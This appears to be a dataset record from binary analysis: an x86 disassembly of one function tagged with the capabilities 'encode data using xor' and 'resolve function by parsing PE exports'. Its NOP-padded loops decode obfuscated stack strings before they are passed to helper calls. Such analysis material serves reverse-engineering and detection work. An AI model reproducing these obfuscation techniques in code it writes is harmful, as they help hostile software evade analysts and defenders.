Function at 0x40a190
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x110
cmp dword [ecx + 0x20], 0
je 0x40a6c4
lea eax, [ecx + 0x10]
push eax
mov esi, ecx
call fcn.00406720
add esp, 4
mov edx, dword [esi + 0x10]
mov eax, dword [esi + 0x58]
mov eax, dword [eax + 0x48]
mov dword [esp + 0xc], eax
mov dword [esp + 8], esi
movzx eax, byte [esi]
imul ecx, eax, 0xcd
shr ecx, 0xa
and ecx, 0xfffffffe
lea ecx, [ecx + ecx*4]
sub al, cl
movzx eax, al
movzx eax, byte [eax + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov byte [esp + 2], al
mov byte [esp + 3], 0
mov dword [esp + 0x10], edx
lea eax, [edx + 0x400]
push eax
call fcn.00408940
add esp, 4
mov dword [esp + 4], eax
mov dword [esp + 0x74], 0x8d85928c
mov byte [esp + 0x78], 0x28
mov dword [esp + 0x79], 0
mov byte [esp + 0x7d], 0
mov eax, 0x87
mov ecx, 0x21971178
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [esp + eax - 0x13]
mov edx, eax
and edx, ebx
mov edi, edx
and edi, 2
mov esi, edx
or esi, 0xfffffffd
inc esi
mov ebp, edx
and ebp, 0xffffff9d
imul ebp, esi
or edx, 2
imul edx, edi
lea esi, [ebx + ebp]
sub esi, edx
add esi, eax
add esi, 0xde68ee00
mov edi, esi
and edi, 0x5c
or esi, 0x580ca8a3
sub edx, ebp
sub edx, ebx
add edx, ecx
or edx, 0xa7f3575c
and edx, esi
not edx
lea ebx, [edx + edi*2]
and edx, 1
or ebx, 1
add ebx, edx
mov byte [esp + eax - 0x13], bl
inc eax
dec ecx
cmp eax, 0x91
jne 0x40a230
lea ebx, [esp + 0x74]
mov ebp, dword [esp + 8]
mov ecx, ebp
push 0x44921c
push ebx
mov edi, dword [esp + 0xc]
push edi
call fcn.004099f0
mov dword [esp + 0x74], 0x812a2c34
mov word [esp + 0x78], 0
mov byte [esp + 0x7a], 0
mov eax, 0xe1
mov ecx, 0x1e
nop
nop
nop
nop
nop
nop
mov esi, ecx
and esi, 0x15
mov edx, eax
and edx, 0xea
or edx, esi
xor dl, byte [esp + eax - 0x6d]
xor dl, 0x15
add dl, 0x9b
mov byte [esp + eax - 0x6d], dl
inc eax
dec ecx
cmp eax, 0xe8
jne 0x40a2d0
lea eax, [esp + 2]
mov ecx, ebp
push eax
push ebx
push edi
call fcn.004099f0
mov eax, dword [str.tLYMe5__1]
mov dword [esp + 0x74], 0x49d6dcd8
mov dword [esp + 0x78], 0
mov ecx, 0x64fe25f9
nop
nop
movzx edx, byte [esp + ecx - 0x64fe2585]
lea esi, [ecx - 0x64fe2506]
and esi, edx
add esi, esi
sub edx, esi
add edx, ecx
mov esi, edx
xor esi, 0xc6
and edx, 0x39
add edx, edx
sub edx, esi
inc dl
mov byte [esp + ecx - 0x64fe2585], dl
inc ecx
cmp ecx, 0x64fe2601
jne 0x40a320
mov ecx, ebp
push eax
push ebx
push edi
call fcn.004099f0
mov dword [esp + 0x74], 0x8d988091
mov dword [esp + 0x78], 0x98859c89
mov dword [esp + 0x7c], 0x9a9b9499
mov byte [esp + 0x80], 0x30
mov dword [esp + 0x81], 0
mov byte [esp + 0x85], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax + 0x74]
lea esi, [eax - 0x45a91979]
mov ecx, pe_nt_image_headers32
sub ecx, eax
xor ecx, esi
and ecx, edx
xor ecx, esi
mov edx, ecx
xor edx, 0xa4
and ecx, 0x5b
add ecx, ecx
sub ecx, edx
inc cl
mov byte [esp + eax + 0x74], cl
mov ecx, eax
and ecx, 1
xor eax, 1
lea eax, [eax + ecx*2]
cmp eax, 0x12
jb 0x40a3a0
mov dword [esp + 0x14], 0x314a5a5f
mov dword [esp + 0x18], 0
mov eax, 0xf575bcb5
mov ecx, 0xa8a434a
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + eax + 0xa8a435f]
mov edi, ecx
and edi, 0x8000245
mov edx, eax
and edx, 0xe05580aa
or edx, edi
xor edx, esi
xor edx, 0x1d203e55
mov esi, 0x89
sub esi, edx
and edx, 1
or esi, 1
sub edx, esi
mov byte [esp + eax + 0xa8a435f], dl
inc eax
dec ecx
cmp eax, 0xf575bcbd
jne 0x40a400
lea eax, [esp + 0x14]
mov ecx, ebp
push ebx
push eax
mov esi, dword [esp + 0xc]
push esi
call fcn.004099f0
mov dword [esp + 0x74], 0x5a226062
mov byte [esp + 0x78], 0xb4
mov dword [esp + 0x79], 0
mov word [esp + 0x7d], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x5e
xor cl, byte [esp + eax + 0x74]
add cl, 0x2a
mov byte [esp + eax + 0x74], cl
inc eax
cmp eax, 0xb
jne 0x40a480
mov ecx, ebp
push dword [esp + 0x10]
push dword [esp + 0x10]
push ebx
push esi
call fcn.00409cb0
mov dword [esp + 0x14], 0x93059153
mov dword [esp + 0x18], 0x9f029d0a
mov dword [esp + 0x1c], 0x9b0c9935
mov dword [esp + 0x20], 0x87538518
mov dword [esp + 0x24], 0x831b813c
mov dword [esp + 0x28], 0x8f238d1c
mov dword [esp + 0x2c], 0x8b6a8952
mov dword [esp + 0x30], 0x77eb75e1
mov dword [esp + 0x34], 0x73ee71e4
mov dword [esp + 0x38], 0x7fee7dd5
mov dword [esp + 0x3c], 0x7be879d9
mov dword [esp + 0x40], 0x67b165f8
mov dword [esp + 0x44], 0x63f561ce
mov dword [esp + 0x48], 0x6ffb6dfe
mov dword [esp + 0x4c], 0x6bc669bd
mov dword [esp + 0x50], 0x57ca55f5
mov dword [esp + 0x54], 0x538951f1
mov dword [esp + 0x58], 0x5ffc5dbc
mov dword [esp + 0x5c], 0x5bc759cf
mov dword [esp + 0x60], 0x47ea45d2
mov dword [esp + 0x64], 0x43d041e1
mov dword [esp + 0x68], 0x4f8b4dd5
mov word [esp + 0x6c], 0x4948
mov word [esp + 0x72], 0
mov dword [esp + 0x6e], 0
mov eax, 0x1c
mov ecx, 0x230d84e4
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx - 0x230d84d0]
mov esi, ecx
or esi, 0xe4
add esi, eax
mov edi, ecx
xor edi, 0xe4
mov ebp, ecx
or ebp, 0x1b
and ebp, edi
or ebp, esi
mov esi, edx
and esi, 0xffffffe4
or esi, 0x19
and edx, 0x1b
xor edx, ebp
xor edx, esi
xor dl, 0xfd
add dl, 0x8c
mov byte [esp + ecx - 0x230d84d0], dl
dec eax
inc ecx
cmp ecx, 0x230d8544
jne 0x40a580
movzx eax, word [esp + 0x14]
test ax, ax
je 0x40a5f1
lea ebx, [esp + 0x74]
lea ecx, [esp + 0x16]
nop
nop
nop
nop
nop
mov word [ebx], ax
add ebx, 2
movzx eax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a5e0
mov word [ebx], 0
xor eax, eax
mov edi, dword [esp + 8]
nop
nop
nop
nop
mov ecx, 0xffffffff
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [edi + ecx + 0x61], 0
lea ecx, [ecx + 1]
jne 0x40a610
cmp eax, ecx
jae 0x40a62c
movsx ecx, byte [edi + eax + 0x60]
mov word [ebx], cx
add ebx, 2
inc eax
jmp 0x40a600
mov dword [ebx], 0xa000d
mov word [ebx + 4], 0
mov eax, dword [edi + 0x80]
mov dword [esp + 0x14], 0x89358bfd
mov dword [esp + 0x18], 0x85318738
mov dword [esp + 0x1c], 0x8384
xor ecx, ecx
xor edx, edx
nop
nop
nop
nop
nop
nop
mov esi, ecx
and esi, 6
mov ebx, edx
xor ebx, 0xa3
add ebx, esi
xor bl, byte [esp + edx + 0x14]
add bl, 0xd1
mov byte [esp + edx + 0x14], bl
inc edx
add ecx, 2
cmp edx, 0xc
jne 0x40a660
lea ecx, [esp + 0x74]
push 0x493e0
push eax
mov esi, dword [esp + 0xc]
push esi
push 0
push 0
push ecx
lea eax, [esp + 0x2c]
push eax
call fcn.0040cb00
add esp, 0x1c
mov ebx, eax
push esi
call fcn.00408950
add esp, 4
mov eax, dword [edi + 0x80]
add dword [edi + 4], eax
mov dword [edi + 0x80], 0
jmp 0x40a6c6
mov bl, 1
mov eax, ebx
add esp, 0x110
pop esi
pop edi
pop ebx
pop ebp
ret